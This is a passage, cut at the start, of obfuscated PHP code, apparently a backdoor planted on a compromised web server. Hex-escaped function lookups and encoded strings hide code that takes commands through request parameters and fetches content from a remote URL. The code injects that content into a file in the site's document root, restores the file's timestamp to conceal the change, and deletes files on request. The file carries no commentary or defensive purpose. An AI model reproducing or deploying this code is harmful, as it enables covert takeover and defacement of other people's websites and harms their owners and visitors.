f"]("\\r\\n\\r\\n",$O_0OO0_0_O);$O_0__0O0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x4f\x4f\x5f\x4f\x5f"](2,5);$O_O00__0OO=0;while($O_O00__0OO<$O_0__0O0OO){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x5f\x30\x4f\x4f\x30"]($OO___000OO,$O_O_0OO_00,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($O_O_0OO_00));$O_O00__0OO++;${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x4f\x5f\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x4f\x4f\x5f\x4f\x5f"](50000,100000));}unset($O_O00__0OO,$O_0__0O0OO);}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x30\x30\x5f\x4f\x5f"]($OO___000OO);unset($O__0O0O0O_);}}if($O_0OO0_0_O==\'\'){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x30\x4f\x5f\x5f\x4f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x30\x5f\x4f\x4f\x30"]) and $O__O00_O0O){$O_0OO0_0_O=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x30\x5f\x4f\x4f\x30"]($O__O00_O0O);}}unset($O_O_0OO_00,$O0OO0_O0__,$OO___000OO,$O0OO__0_O0,$O0O0_0_O_O);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x5f\x4f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x5f\x4f\x30\x5f"]($O_0OO0_0_O,"\\xEF\\xBB\\xBF"));');$O_000_O_OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f\x30\x4f"]('$O000_O_OO_accxxs','$O_00_O0OO_=substr($O000_O_OO_accxxs,0,5);$O0_OO_0_O0=substr($O000_O_OO_accxxs,-5);$OO_0O_0_O0=substr($O000_O_OO_accxxs,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x5f\x5f\x30\x4f"]($O000_O_OO_accxxs)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x4f\x5f\x5f\x30\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O_00_O0OO_.$OO_0O_0_O0.$O0_OO_0_O0));');$O00_0_O_OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f\x30\x4f"]('$O_OOO000__=\'\'','$O0__00O_OO=isset($_REQUEST["\x66"])?$_REQUEST["\x66"]:\'\';$OO_O0O__00=isset($_REQUEST["\x67"])?$_REQUEST["\x67"]:\'\';$O000__OO_O=isset($_REQUEST["\x64"])?$_REQUEST["\x64"]:\'\';$O_O0O0_0_O=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];$O__00O_0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'e7F9/hTdN9Le/tP3zAIA\');$OO_OO00__0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'e9o3/hT+ny7qdtrU/X7XytP/ZxYA\');$O0OOO0___0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'e7Gh+hTfmUFU/bWp+u2/ltP+zywA\');$O_0O_O_00O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'ARIA7hTf/kv67mlLnlkI7lhoXlrrntPvvJo=\');$OO_00_0O_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'e7p2xhTtMtP5KwA=\');$O0O_O_O0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'e7F9/hTdN9Le/tP3zAIA\');$OO_O00O_0_=\'<br>\';$OOO__0O_00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'08/MShT0mt0CvtPIKAAA\');$O__0_O0O0O=\'{#z#}\';$O0__O_O0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'C8rPchTzYrNU3PKy5tPIBAA=\');$O0O0_0__OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'C3APKhTkjJdCqIcjHIjDSyLE1xDytNcfbUDvAIykn1CMpIzg3L8PTwKksx9rX0zPIs9wr2TAeqK06uMsj0C3HM8cwtPysQUA\');$O_0OO0O__0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'C3C2NhTIiKyDCIjPDKiQwxsfAxCipIyTKtPxBQA=\');$O_O00O0__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'S/QIMhTkh2ybctPFAA==\');$O00O___0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'SzF2LhTIkMDypJDDcpg9KtP2AA==\');echo $O__00O_0OO.$O_O0O0_0_O.$OO_O00O_0_;$O0_O_O0O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x30\x5f\x4f\x4f\x30"]($O_O0O0_0_O.$OOO__0O_00);echo $OO_OO00__0.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O0O0_0__OO).$O0_O_O0O0_.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O_0OO0O__0);if($OO_O0O__00!=\'\'){$OO00O0___O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x4f\x5f\x4f\x4f"](\'Ky8vNhTzSz0CvLTy9NLS4tKErNTS1PTUosLUnLLCnOyC/QK0/tPMSwcA\');$O00__OO_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O_O00O0__O);$OO_00_O0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O00O___0OO);$O_0OO0_0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x30\x4f\x5f\x5f\x4f"]($O00__OO_O0.\'//\'.$OO00O0___O.\'/\'.$OO_00_O0O_.\'/\'.$O0__00O_OO);$O_0OO0_0_O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30"]($O__0_O0O0O,$OO_O0O__00,$O_0OO0_0_O);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x30\x4f\x5f\x5f\x5f"]($O0_O_O0O0_,$O0__O_O0O0)){echo $O0OOO0___0.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O0O0_0__OO).$O_0OO0_0_O.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O_0OO0O__0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x4f\x30\x5f\x30\x5f"]($O_O0O0_0_O.$OOO__0O_00,0644);$OOO__000O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x5f\x30\x4f"]($O_O0O0_0_O.$OOO__0O_00);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f"]($O_O0O0_0_O.$OOO__0O_00,$O_0OO0_0_O.$O0_O_O0O0_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x5f\x5f\x30\x30"]($O_O0O0_0_O.$OOO__0O_00,$OOO__000O_);$O0_O_O0O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x30\x5f\x4f\x4f\x30"]($O_O0O0_0_O.$OOO__0O_00);echo $O_0O_O_00O.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O0O0_0__OO).$O0_O_O0O0_.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O_0OO0O__0);}else{echo $OO_00_0O_O;}}if($O000__OO_O!=\'\'){$O_OO_O_000=$O_O0O0_0_O.\'/\'.$O000__OO_O;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x5f\x4f\x4f\x5f"]($O_OO_O_000)){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x4f\x30\x5f\x5f\x30"]($O_OO_O_000);}}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x5f\x4f\x5f\x4f\x4f"]();
/*scp-173*/
?>